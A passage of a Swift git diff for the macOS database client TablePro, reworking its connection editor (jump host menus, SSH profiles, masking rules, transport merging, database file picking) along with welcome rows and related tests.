row.accessibilityIdentifier } private var jumpHost: Binding { store.tracking(store.jumpHostBinding(id), row: row) } + private var title: String { + String(format: String(localized: "Jump Host %lld"), Int64(index + 1)) + } + var body: some View { Section { + LabeledContent { + actions + } label: { + Text(verbatim: title) + } + .id(row) + TextField(text: jumpHost.host, prompt: Text(verbatim: "bastion.example.com")) { label(String(localized: "Host"), for: .host) } @@ -82,30 +95,38 @@ private struct SSHAndProxiesJumpHostSection: View { if jumpHost.wrappedValue.authMethod == .privateKey { keyFileRow } - } header: { - Text(String(format: String(localized: "Jump Host %lld"), Int64(index + 1))) - } footer: { - HStack(spacing: 8) { - Spacer() - if count > 1 { - Button(String(localized: "Move Up")) { - store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index - 1) - } - .disabled(index == 0) - .accessibilityIdentifier("\(identifier)-move-up") + } + } - Button(String(localized: "Move Down")) { - store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index + 2) - } - .disabled(index == count - 1) - .accessibilityIdentifier("\(identifier)-move-down") - } - Button(String(localized: "Remove")) { - store.removeJumpHost(id: id) - } - .accessibilityIdentifier("\(identifier)-remove") + private var actions: some View { + Menu { + Button(String(localized: "Move Up")) { + store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index - 1) + } + .disabled(index == 0) + .accessibilityIdentifier("\(identifier)-move-up") + + Button(String(localized: "Move Down")) { + store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index + 2) + } + .disabled(index == count - 1) + .accessibilityIdentifier("\(identifier)-move-down") + + Divider() + + Button(String(localized: "Remove"), role: .destructive) { + store.removeJumpHost(id: id) } + .accessibilityIdentifier("\(identifier)-remove") + } label: { + Image(systemName: "ellipsis.circle") } + .menuStyle(.borderlessButton) + .menuIndicator(.hidden) + .fixedSize() + .help(String(localized: "Actions")) + .accessibilityLabel(String(format: String(localized: "Actions for %@"), title)) + .accessibilityIdentifier("\(identifier)-actions") } private var keyFileRow: some View { @@ -118,6 +139,7 @@ private struct SSHAndProxiesJumpHostSection: View { ) .labelsHidden() .autocorrectionDisabled() + .editorPathField(jumpHost.wrappedValue.privateKeyPath) .focused($focusedField, equals: .keyFile) .accessibilityIdentifier("\(identifier)-key-file") Button(String(localized: "Choose…")) { @@ -168,6 +190,7 @@ private struct SSHAndProxiesJumpHostSection: View { } struct SSHAndProxiesAddJumpHostRow: View { + let hopCount: Int @ObservedObject var store: ConnectionEditorStore var body: some View { @@ -178,7 +201,13 @@ struct SSHAndProxiesAddJumpHostRow: View { } .accessibilityIdentifier(EditorRow.builtIn(.addJumpHost).accessibilityIdentifier) } label: { - Text(String(localized: "Jump Hosts")) + if hopCount == 0 { + Text(String(localized: "No Jump Hosts")) + .foregroundStyle(.secondary) + } else { + Text("^[\(hopCount) Jump Host](inflect: true)") + } } + .id(EditorRow.builtIn(.addJumpHost)) } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift index f77aa3e3ec..c78dfbb019 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift @@ -177,7 +177,8 @@ struct SSHAndProxiesPicker: View { } } -// Profile commands are pop-up items, as in General's Credentials, so typing a host never adds a button. +// Profile commands are pop-up items, the same ones in the same order as General's Credentials, so typing a host +// never adds a button. struct SSHAndProxiesProfileRows: View { @ObservedObject var store: ConnectionEditorStore @@ -188,6 +189,7 @@ struct SSHAndProxiesProfileRows: View { case saveAsProfile case editProfile case newProfile + case manageProfiles } private let row = EditorRow.builtIn(.sshProfile) @@ -213,6 +215,7 @@ struct SSHAndProxiesProfileRows: View { Text(String(localized: "Edit Profile…")).tag(Choice.editProfile) } Text(String(localized: "New Profile…")).tag(Choice.newProfile) + Text(String(localized: "Manage Profiles…")).tag(Choice.manageProfiles) } label: { EditorRowLabel(String(localized: "SSH Profile"), row: row, store: store) } @@ -263,6 +266,9 @@ struct SSHAndProxiesProfileRows: View { case .newProfile: pickerGeneration += 1 store.presentSSHProfileCreation() + case .manageProfiles: + pickerGeneration += 1 + WindowOpener.shared.openSettings(tab: .profiles) } } ) diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift index 3213d9ea65..71dcb7b51f 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift @@ -20,6 +20,7 @@ struct SSLFacetView: View { Section { ForEach(section.rows, id: \.self) { row in rowView(row) + .id(row) } } header: { if let title = section.title { @@ -34,6 +35,7 @@ struct SSLFacetView: View { } } .formStyle(.grouped) + .scrollsToEditorFocus(.sslTLS, store: store) } // The mode section explains the mode that is selected, not the type's note about Preferred under every mode. diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift index f153275566..8c607f4920 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift @@ -11,6 +11,7 @@ struct SafeModeFacetView: View { Section { ForEach(section.rows, id: \.self) { row in rowView(row) + .id(row) } } header: { if let title = section.title { @@ -24,6 +25,7 @@ struct SafeModeFacetView: View { } } .formStyle(.grouped) + .scrollsToEditorFocus(.safeMode, store: store) } private var sections: [SectionLayout] { @@ -111,24 +113,47 @@ struct SafeModeFacetView: View { } } -// Only the pattern stretches, so a rule never asks for more width than the column has. +// The pattern sits in the label column, so a rule lines up with the rows around it, and only it stretches; the two +// pop-ups and Remove trail it. private struct SafeModeMaskingRuleRow: View { @Binding var rule: MaskingRule let focusedRule: FocusState.Binding let onRemove: () -> Void var body: some View { - HStack(spacing: 8) { - Picker(String(localized: "Match"), selection: $rule.target) { - ForEach(MaskingTarget.allCases) { target in - Text(verbatim: target.displayName).tag(target) + LabeledContent { + HStack(spacing: 8) { + Picker(String(localized: "Match"), selection: $rule.target) { + ForEach(MaskingTarget.allCases) { target in + Text(verbatim: target.displayName).tag(target) + } } - } - .labelsHidden() - .fixedSize() - .help(String(localized: "Match the pattern against column names or column types")) - .accessibilityIdentifier("connection-form-masking-target") + .labelsHidden() + .fixedSize() + .help(String(localized: "Match the pattern against column names or column types")) + .accessibilityLabel(String(localized: "Match")) + .accessibilityIdentifier("connection-form-masking-target") + Picker(String(localized: "Mask"), selection: $rule.style) { + ForEach(MaskingStyle.allCases) { style in + Text(verbatim: style.displayName).tag(style) + } + } + .labelsHidden() + .fixedSize() + .help(String(localized: "How matching values are hidden")) + .accessibilityLabel(String(localized: "Mask")) + .accessibilityIdentifier("connection-form-masking-style") + + Button(action: onRemove) { + Image(systemName: "minus.circle") + } + .buttonStyle(.borderless) + .help(String(localized: "Remove Rule")) + .accessibilityLabel(String(localized: "Remove Rule")) + .accessibilityIdentifier("connection-form-masking-remove") + } + } label: { TextField( String(localized: "Pattern"), text: $rule.pattern, @@ -136,28 +161,9 @@ private struct SafeModeMaskingRuleRow: View { ) .labelsHidden() .autocorrectionDisabled() - .multilineTextAlignment(.leading) - .frame(minWidth: 0, maxWidth: .infinity) .focused(focusedRule, equals: rule.id) + .accessibilityLabel(String(localized: "Pattern")) .accessibilityIdentifier("connection-form-masking-pattern") - - Picker(String(localized: "Mask"), selection: $rule.style) { - ForEach(MaskingStyle.allCases) { style in - Text(verbatim: style.displayName).tag(style) - } - } - .labelsHidden() - .fixedSize() - .help(String(localized: "How matching values are hidden")) - .accessibilityIdentifier("connection-form-masking-style") - - Button(action: onRemove) { - Image(systemName: "minus.circle") - } - .buttonStyle(.borderless) - .help(String(localized: "Remove Rule")) - .accessibilityLabel(String(localized: "Remove Rule")) - .accessibilityIdentifier("connection-form-masking-remove") } .accessibilityElement(children: .contain) } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift index 055ffd3e8c..95b8d50789 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift @@ -9,6 +9,7 @@ struct StartupFacetView: View { Section { ForEach(section.rows, id: \.self) { row in rowView(row) + .id(row) } } header: { if let title = section.title { @@ -22,6 +23,7 @@ struct StartupFacetView: View { } } .formStyle(.grouped) + .scrollsToEditorFocus(.startup, store: store) } private var sections: [SectionLayout] { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift index bc2f28b6b5..f15d9ec2a8 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift @@ -223,6 +223,7 @@ struct TransportBinaryRow: View { TextField(String(localized: "Path"), text: store.tracking($path, row: row), prompt: Text(String(localized: "Automatic"))) .labelsHidden() .autocorrectionDisabled() + .editorPathField(path) .accessibilityIdentifier(row.accessibilityIdentifier) Button(String(localized: "Choose…")) { Task { @@ -312,13 +313,9 @@ enum TransportFilePanel { panel.allowsMultipleSelection = false panel.canChooseDirectories = false panel.canChooseFiles = true - let response: NSApplication.ModalResponse - if let window = EditorFilePanel.window(for: store) { - response = await panel.presentAsSheet(for: window) - } else { - response = await panel.begin() - } - guard response == .OK, let url = panel.url else { return nil } + guard await EditorFilePanel.present(panel, in: EditorFilePanel.window(for: store)) == .OK, + let url = panel.url + else { return nil } return url.path(percentEncoded: false) } } diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift index a91b4dd76e..d5e5d3b9c1 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift @@ -209,8 +209,8 @@ private struct ConnectionTestDetailsButton: View { } } -// Read only: what failed, the server's own words, what to check, and the one fix TablePro can start. Opaque, so the -// form under the popover never shows through the server's text. +// Read only: what failed and what to check in plain words, then the server's own words, and the one fix TablePro can +// start. Opaque, so the form under the popover never shows through the server's text. private struct ConnectionTestDetails: View { let title: String let message: String @@ -220,11 +220,20 @@ private struct ConnectionTestDetails: View { @Environment(\.dismiss) private var dismiss + private var plainSummary: String? { + guard let recoverySuggestion, !recoverySuggestion.isEmpty else { return nil } + return recoverySuggestion + } + var body: some View { VStack(alignment: .leading, spacing: 10) { Text(title) .font(.headline) .fixedSize(horizontal: false, vertical: true) + if let plainSummary { + Text(verbatim: plainSummary) + .fixedSize(horizontal: false, vertical: true) + } if isLong { ScrollView { messageText @@ -233,11 +242,6 @@ private struct ConnectionTestDetails: View { } else { messageText } - if let recoverySuggestion, !recoverySuggestion.isEmpty { - Text(verbatim: recoverySuggestion) - .foregroundStyle(.secondary) - .fixedSize(horizontal: false, vertical: true) - } if let recoveryTitle { Button(recoveryTitle) { dismiss() @@ -256,8 +260,10 @@ private struct ConnectionTestDetails: View { message.count > 480 || message.split(separator: "\n", omittingEmptySubsequences: false).count > 8 } + // The server's words are the detail under a plain summary, and the whole story without one. private var messageText: some View { Text(verbatim: message) + .foregroundStyle(plainSummary == nil ? HierarchicalShapeStyle.primary : HierarchicalShapeStyle.secondary) .textSelection(.enabled) .fixedSize(horizontal: false, vertical: true) .frame(maxWidth: .infinity, alignment: .leading) diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift index 5159675d32..e6d9e254b9 100644 --- a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift @@ -30,11 +30,18 @@ struct ConnectionEditorSidebarRow: Equatable { ConnectionEditorSidebarRow( facet: layout.facet, title: layout.title, - symbolName: layout.facet.symbolName, + symbolName: symbolName(for: layout.facet, in: store), issueMessages: store.issues(for: layout.facet).filter { $0.blocksSave && store.isRevealed($0) }.map(\.message) ) } } + + // A file database's transport facet is titled Location: where the file is, not a network route. + @MainActor + private static func symbolName(for facet: ConnectionFacet, in store: ConnectionEditorStore) -> String { + guard facet == .sshAndProxies, store.traits.supportsRemoteDatabaseFile else { return facet.symbolName } + return "folder" + } } // AppKit on purpose: a SwiftUI sidebar List keeps the previous row emphasized after a programmatic diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift index 88d681c8c4..d5dda089d7 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift @@ -301,7 +301,11 @@ extension ConnectionEditorStore { } var hostAndPortAreUnused: Bool { - ConnectionEditorEngine.forwardsToUnixSocket(draft) + isDisabled(.builtIn(.port)) + } + + func isDisabled(_ row: EditorRow) -> Bool { + layout.disabledRows.contains(row) } var portTLSNotice: PortTLSNotice? { diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift index ab15f1e104..9d47c20541 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift @@ -179,8 +179,13 @@ extension ConnectionEditorStore { next.credentials.storedPasswordState = storage.passwordState(for: refreshed.id) next.credentials.password = storage.loadPassword(for: refreshed.id) ?? "" } + if traits.field(ConnectionEditorEngine.pgpassFieldId) != nil { + next.fieldValues[ConnectionEditorEngine.pgpassFieldId] = refreshed.usePgpass ? "true" : "false" + } unreadableSecretKeys.formUnion(reads.unreadable) loadedSecrets.merge(reads.loaded) { _, fresh in fresh } + // Test builds on the loaded record, and the edits never carry the source, so it takes the same hand-over. + loadedRecord?.takeSignIn(from: refreshed) } commit(next) } @@ -311,3 +316,15 @@ extension ConnectionEditorStore { ) } } + +private extension DatabaseConnection { + // What CredentialProfileStorage.unlinkConnections writes onto a connection whose profile is deleted. + mutating func takeSignIn(from other: DatabaseConnection) { + credentialMode = other.credentialMode + username = other.username + passwordSource = other.passwordSource + for key in ["promptForPassword", ConnectionEditorEngine.pgpassFieldId] { + additionalFields[key] = other.additionalFields[key] + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift index 5f22b69794..e26729dcb9 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift @@ -85,7 +85,8 @@ final class ConnectionEditorStore: ObservableObject { @Published var pgpassStatus: PgpassStatus = .notChecked @Published var pastedURLNotice: PastedURLNotice? - // Fixed at load: the merge's base. A connectionUpdated event never moves it. + // Fixed at load: the merge's base. A connectionUpdated event never moves it; only the sign-in a deleted credential + // profile hands over reaches loadedRecord, as it reaches the draft. var baseline: ConnectionDraft var baselineEdits: ConnectionFormEdits? var loadedRecord: DatabaseConnection? @@ -296,9 +297,8 @@ final class ConnectionEditorStore: ObservableObject { guard !hasPlacedInitialFocus else { return } hasPlacedInitialFocus = true guard focusRequest == nil, selectedFacet == .general else { return } - let rows = layout.facet(.general)?.sections.flatMap(\.rows) ?? [] let target = isNew - ? [EditorRow.builtIn(.host), .builtIn(.databaseFile)].first { rows.contains($0) } ?? .builtIn(.name) + ? [EditorRow.builtIn(.host), .builtIn(.databaseFile)].first { layout.isEnabled($0) } ?? .builtIn(.name) : .builtIn(.name) focus(facet: .general, row: target) } diff --git a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift index 125e3ae562..2df20ebaf1 100644 --- a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift +++ b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift @@ -124,10 +124,6 @@ struct ConnectionFormEdits: Equatable { merge(\.tagIds) merge(\.groupId) merge(\.credentialMode) - merge(\.cloudflareTunnelMode) - merge(\.cloudSQLProxyMode) - merge(\.socksProxyMode) - merge(\.tunnelCommandMode) merge(\.preferredSafeModeLevel) merge(\.aiPolicy) merge(\.aiRules) @@ -136,13 +132,23 @@ struct ConnectionFormEdits: Equatable { merge(\.startupCommands) merge(\.localOnly) - // One tunnel description: a half-merged trio would name a profile with another tunnel's settings. - if mine.sshConfig != theirs.sshConfig - || mine.sshProfileId != theirs.sshProfileId - || mine.sshTunnelMode != theirs.sshTunnelMode { - result.sshConfig = mine.sshConfig - result.sshProfileId = mine.sshProfileId - result.sshTunnelMode = mine.sshTunnelMode + // One transport at a time: a switch made here replaces the stored transports whole, and a switch another + // writer made stays whole, so a merge never turns on two. + if Self.switchedOnTransports(mine) != Self.switchedOnTransports(theirs) { + result.takeTransports(from: mine) + } else if Self.switchedOnTransports(fresh) == Self.switchedOnTransports(theirs) { + merge(\.cloudflareTunnelMode) + merge(\.cloudSQLProxyMode) + merge(\.socksProxyMode) + merge(\.tunnelCommandMode) + // One tunnel description: a half-merged trio would name a profile with another tunnel's settings. + if mine.sshConfig != theirs.sshConfig + || mine.sshProfileId != theirs.sshProfileId + || mine.sshTunnelMode != theirs.sshTunnelMode { + result.sshConfig = mine.sshConfig + result.sshProfileId = mine.sshProfileId + result.sshTunnelMode = mine.sshTunnelMode + } } for key in Set(mine.additionalFields.keys).union(theirs.additionalFields.keys) @@ -154,6 +160,17 @@ struct ConnectionFormEdits: Equatable { return result } + // The SSH trio counts once, whether it forwards a port or opens a remote file. + private static func switchedOnTransports(_ connection: DatabaseConnection) -> Set { + var kinds: Set = [] + if connection.sshTunnelMode != .disabled { kinds.insert(.ssh) } + if connection.isCloudflareEnabled { kinds.insert(.cloudflare) } + if connection.isCloudSQLProxyEnabled { kinds.insert(.cloudSQLProxy) } + if connection.isSOCKSProxyEnabled { kinds.insert(.socksProxy) } + if connection.isTunnelCommandEnabled { kinds.insert(.tunnelCommand) } + return kinds + } + private func mergedAdditionalFields(onto existing: [String: String]) -> [String: String] { var merged = existing for id in ownedAdditionalFieldIDs { @@ -165,3 +182,16 @@ struct ConnectionFormEdits: Equatable { return merged } } + +private extension DatabaseConnection { + mutating func takeTransports(from other: DatabaseConnection) { + sshConfig = other.sshConfig + sshProfileId = other.sshProfileId + sshTunnelMode = other.sshTunnelMode + cloudflareTunnelMode = other.cloudflareTunnelMode + cloudSQLProxyMode = other.cloudSQLProxyMode + socksProxyMode = other.socksProxyMode + tunnelCommandMode = other.tunnelCommandMode + additionalFields[Self.sshForwardUnixSocketPathKey] = other.additionalFields[Self.sshForwardUnixSocketPathKey] + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift b/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift index 7459e5803f..59103a20be 100644 --- a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift +++ b/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift @@ -21,10 +21,10 @@ internal enum DatabaseFilePanel { panel.canChooseDirectories = false panel.directoryURL = DatabaseFileLocation(path: currentPath).existingFolder - let rule = DatabaseFileBrowseRule(type: type, extensions: PluginManager.shared.fileExtensions(for: type)) - let filter = PanelEnableFilter(isEnabled: rule.isEnabled) + let rule = DatabaseFileBrowseRule.forType(type, extensions: PluginManager.shared.fileExtensions(for: type)) + let filter = PanelEnableFilter(isEnabled: rule.isEnabled, validate: rule.validate) panel.delegate = filter - let response = await present(panel, in: window) + let response = await EditorFilePanel.present(panel, in: window) withExtendedLifetime(filter) {} guard response == .OK, let url = panel.url else { return nil } @@ -52,34 +52,49 @@ internal enum DatabaseFilePanel { panel.directoryURL = location.existingFolder panel.nameFieldStringValue = location.suggestedNewFileName(preferredExtension: extensions.first) - guard await present(panel, in: window) == .OK, let url = panel.url else { return nil } + guard await EditorFilePanel.present(panel, in: window) == .OK, let url = panel.url else { return nil } return url.path(percentEncoded: false) } - - private static func present(_ panel: NSSavePanel, in window: NSWindow?) async -> NSApplication.ModalResponse { - guard let window else { return await panel.begin() } - return await panel.presentAsSheet(for: window) - } } -// Which items Choose… lets someone pick for a database file field: by extension first, which settles most of a -// folder without reading anything, then by the file's own bytes when they are already on this Mac, so a SQLite -// database with no extension or another app's (a browser's `History`, a `.gpkg`) can still be picked. A type that -// declares no extensions keeps every file. A plain folder stays enabled so the panel can be navigated; a package is -// a file to the user and is matched like one. +// Which items Choose… offers for a database file field, decided from the name and the file's type only: AppKit asks +// on the main thread while the panel browses. A file with one of the driver's extensions is enabled, one another +// driver claims is not, and one whose name says nothing stays enabled, since only its bytes can tell; `validate` reads +// them once the file is picked. A type that declares no extensions keeps every file. A plain folder stays enabled so +// the panel can be navigated; a package is a file to the user and is matched like one. internal struct DatabaseFileBrowseRule: Sendable { private let type: DatabaseType + private let typeName: String private let extensions: Set + private let otherDriversExtensions: Set private let classify: @Sendable (URL) -> DatabaseType? + private let isReadable: @Sendable (URL) -> Bool internal init( type: DatabaseType, extensions: [String], - classify: @escaping @Sendable (URL) -> DatabaseType? = { DatabaseFileClassifier.classify($0, access: .withoutWaiting) } + otherDriversExtensions: [String] = [], + typeName: String? = nil, + classify: @escaping @Sendable (URL) -> DatabaseType? = { DatabaseFileClassifier.classify($0, access: .withoutWaiting) }, + isReadable: @escaping @Sendable (URL) -> Bool = { DatabaseFileClassifier.isReadableWithoutWaiting($0) } ) { self.type = type + self.typeName = typeName ?? type.rawValue self.extensions = Set(extensions.map(Self.normalized).filter { !$0.isEmpty }) + self.otherDriversExtensions = Set(otherDriversExtensions.map(Self.normalized).filter { !$0.isEmpty }) self.classify = classify + self.isReadable = isReadable + } + + @MainActor + internal static func forType(_ type: DatabaseType, extensions: [String]) -> DatabaseFileBrowseRule { + let claimed = PluginManager.shared.allRegisteredFileExtensions.filter { $0.value != type }.map(\.key) + return DatabaseFileBrowseRule( + type: type, + extensions: extensions, + otherDriversExtensions: claimed, + typeName: type.displayName + ) } internal func isEnabled(_ url: URL) -> Bool { @@ -87,8 +102,25 @@ internal struct DatabaseFileBrowseRule: Sendable { if values?.isDirectory == true, values?.isPackage != true { return true } if let kind = values?.fileResourceType, Self.blockingKinds.contains(kind) { return false } guard !extensions.isEmpty else { return true } - if extensions.contains(Self.normalized(url.pathExtension)) { return true } - return classify(url) == type + if matchesExtension(url) { return true } + if otherDriversExtensions.contains(Self.normalized(url.pathExtension)) { return false } + return values?.fileResourceType == .regular && PanelFileName.leavesKindOpen(url) + } + + // The person picked the file, which grants the read. One whose bytes are not on this Mac yet is let through: the + // driver names a wrong file when it opens it. + internal func validate(_ url: URL) throws { + guard !extensions.isEmpty, !matchesExtension(url) else { return } + let isFolder = (try? url.resourceValues(forKeys: [.isDirectoryKey]))?.isDirectory == true + if !isFolder { + guard classify(url) != type else { return } + guard isReadable(url) else { return } + } + throw DatabaseFilePanelError.notADatabase(fileName: url.lastPathComponent, typeName: typeName) + } + + private func matchesExtension(_ url: URL) -> Bool { + extensions.contains(Self.normalized(url.pathExtension)) } // A driver opening one of these waits forever, whatever its name says. @@ -99,6 +131,17 @@ internal struct DatabaseFileBrowseRule: Sendable { } } +private enum DatabaseFilePanelError: LocalizedError { + case notADatabase(fileName: String, typeName: String) + + var errorDescription: String? { + switch self { + case .notADatabase(let fileName, let typeName): + return String(format: String(localized: "“%1$@” isn’t a database %2$@ can open."), fileName, typeName) + } + } +} + // What the path already in a database file field says about where a panel should open. internal struct DatabaseFileLocation { private let fileURL: URL? diff --git a/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift b/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift index 6c99b2cc36..849863ba6b 100644 --- a/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift +++ b/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift @@ -118,14 +118,16 @@ internal struct WelcomeConnectionRow: View { WelcomeConnectionAccessories(model: model) } - HStack(spacing: 8) { - Text(model.detail) - .font(.subheadline) - .foregroundStyle(.secondary) - .lineLimit(1) - .truncationMode(.middle) - Spacer(minLength: 6) - WelcomeConnectionLabels(model: model) + if model.hasSecondLine { + HStack(spacing: 8) { + Text(model.detail) + .font(.subheadline) + .foregroundStyle(.secondary) + .lineLimit(1) + .truncationMode(.middle) + Spacer(minLength: 6) + WelcomeConnectionLabels(model: model) + } } } } diff --git a/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift b/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift index 62516f3887..627ba0feb5 100644 --- a/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift +++ b/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift @@ -47,6 +47,10 @@ internal struct WelcomeConnectionRowModel: Equatable { // Part of the model so a reload hands a reused row a changed value; status has no observable home. internal let status: ConnectionDisplayStatus + internal var hasSecondLine: Bool { + !detail.isEmpty || groupLabel != nil || !tags.isEmpty || hiddenTagCount > 0 + } + // The tile is hidden from VoiceOver, so the label names the engine a custom icon may replace. internal var accessibilityLabel: String { [name, type.displayName, environment.accessibilityName] @@ -157,7 +161,7 @@ internal enum WelcomeRowPresentation { return WelcomeConnectionRowModel( id: connection.id, name: connection.name, - detail: connection.connectionSubtitle, + detail: Self.detail(connection.connectionSubtitle, under: connection.name), type: connection.type, iconName: connection.iconName, identityColor: connection.identityColor, @@ -185,7 +189,7 @@ internal enum WelcomeRowPresentation { return WelcomeConnectionRowModel( id: linked.id, name: exportable.name, - detail: detail, + detail: Self.detail(detail, under: exportable.name), type: type, iconName: LibrarySymbolCatalog.normalizedName(exportable.iconName), identityColor: exportable.color.flatMap { ConnectionColor(rawValue: $0) }.flatMap { $0.isDefault ? nil : $0 }, @@ -200,6 +204,12 @@ internal enum WelcomeRowPresentation { ) } + // A connection saved with no name is named after its address, which would then repeat under it. + internal static func detail(_ detail: String, under name: String) -> String { + let trimmed = detail.trimmingCharacters(in: .whitespaces) + return trimmed == name.trimmingCharacters(in: .whitespaces) ? "" : detail + } + internal static func endpoint(host: String, port: Int, defaultPort: Int, database: String) -> String { guard !host.isEmpty else { return database } var endpoint = host diff --git a/apple/TableProTests/Plugins/SSLHandshakeErrorTests.swift b/apple/TableProTests/Plugins/SSLHandshakeErrorTests.swift index d0e8a37ebb..37c4ceead3 100644 --- a/apple/TableProTests/Plugins/SSLHandshakeErrorTests.swift +++ b/apple/TableProTests/Plugins/SSLHandshakeErrorTests.swift @@ -57,7 +57,7 @@ struct SSLHandshakeErrorTests { func testClientKeyInvalid() { let error = SSLHandshakeError.clientKeyInvalid(serverMessage: "not a PEM") #expect(error.errorDescription?.contains("malformed") == true) - #expect(error.recoverySuggestion?.contains("Client Key") == true) + #expect(error.recoverySuggestion?.contains("Client Certificates") == true) } @Test("cipherMismatch suggests server update") diff --git a/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift b/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift index bcbab90eeb..025f008db2 100644 --- a/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift @@ -4,11 +4,14 @@ // // Browse… used to filter by allowedContentTypes, which matches names only, so a SQLite database // without one of the seven extensions could not be picked. New… did not exist: an open panel has -// no name field, so a database file that did not exist yet could only be typed by hand. +// no name field, so a database file that did not exist yet could only be typed by hand. Then the +// enable filter read each file's bytes while the panel browsed, and in Documents that read waited +// on the consent prompt with the main thread blocked. // import Darwin import Foundation +import os @testable import TablePro import TableProTestSupport import TableProUtilities @@ -47,13 +50,81 @@ struct DatabaseFilePanelTests { #expect(rule.isEnabled(try file("Mixed.Db"))) } - @Test("A SQLite database with no extension, or another app's, is enabled by its bytes") - func sqliteBytesEnableAnyName() throws { + @Test("A SQLite database with no extension, or another app's, is enabled and passes once picked") + func sqliteWithAnyNameIsEnabledAndPasses() throws { let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) + let history = try file("History", contents: sqliteHeader) + let tiles = try file("tiles.mbtiles", contents: sqliteHeader) + let map = try file("map.gpkg", contents: sqliteHeader) + + #expect(rule.isEnabled(history), "A browser history file is SQLite") + #expect(rule.isEnabled(tiles)) + #expect(rule.isEnabled(map)) + try rule.validate(history) + try rule.validate(tiles) + try rule.validate(map) + } + + @Test("Browsing never reads a file, whatever its name says") + func browsingNeverReadsAFile() throws { + let reads = OSAllocatedUnfairLock(initialState: 0) + let rule = DatabaseFileBrowseRule( + type: .sqlite, + extensions: sqliteExtensions, + classify: { _ in + reads.withLock { $0 += 1 } + return nil + }, + isReadable: { _ in + reads.withLock { $0 += 1 } + return true + } + ) + let filter = PanelEnableFilter(isEnabled: rule.isEnabled, validate: rule.validate) + let history = try file("History", contents: sqliteHeader) + let link = folder.appendingPathComponent("history-link") + try FileManager.default.createSymbolicLink(at: link, withDestinationURL: history) + let candidates = [ + history, + link, + try file("app.db"), + try file("tiles.mbtiles"), + try file("notes", contents: Data("hello".utf8)), + try file("photo.png"), + ] + + let enabled = candidates.map 